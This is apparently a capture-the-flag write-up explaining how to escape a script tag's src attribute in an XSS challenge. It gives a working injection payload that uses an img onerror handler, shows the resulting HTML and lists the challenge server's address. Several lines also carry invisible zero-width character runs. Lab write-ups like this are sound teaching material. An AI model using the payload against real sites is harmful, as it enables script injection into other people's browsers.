← Back to Writeups
CUSTOMEasyWeb

Medium 1 - Script Src Attribute Breakout

XESXOR9/2/20262 min read
#web#custom#easy#attribute_breakout#html_injection#script_tag_injection

Medium 1 - Script Src Attribute Breakout

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: attribute_breakout, html_injection, script_tag_injection

Summary

Walkthrough of the CUSTOM Web Medium 1 - Script Src Attribute Breakout. XSS challenge from the sibearsxss series. User input is inserted into the src attribute of a <script> tag. If the input starts with http/https, a "/" is prepended.

Description

XSS challenge from the sibearsxss series. User input is inserted into the src attribute of a <script> tag. If the input starts with http/https, a "/" is prepended.

URL: http://109.233.56.90:11659/xss/medium/1

Analysis

Escape function:

js
function escape(s) {
  if (/^\s*https?/i.test(s)) { s = "/" + s; }
  return '<script src="' + s + '"></script>';
}

What the function does:

  1. Checks if input starts with http or https (with possible leading whitespace)
  2. If yes — prepends / (to prevent loading external scripts)
  3. Inserts input into the src attribute of a <script> tag ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability:

  • Quotes " are not escaped
  • Can close the attribute and tag, then inject arbitrary HTML

Solution

Close the src attribute, close the </script> tag, inject our own HTML with XSS:

Payload:

html
"></script><img src=x onerror=prompt("sibears")>

Result after escape():

html
<script src=""></script><img src=x onerror=prompt("sibears")>"></script>

Breakdown:

  1. "> — closes the src attribute and <script> tag
  2. </script> — closes the opened script tag
  3. <img src=x onerror=prompt("sibears")> — our XSS payload
  4. "></script> — leftover from the original template (ignored by browser) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Browser sees:

  • Empty <script src=""> — loads nothing
  • </script> — closes it
  • <img src=x onerror=...> — executes XSS ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering attribute_breakout, html_injection, script_tag_injection was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-03-09 • CUSTOM • Medium 1 - Script Src Attribute Breakout • Difficulty: Easy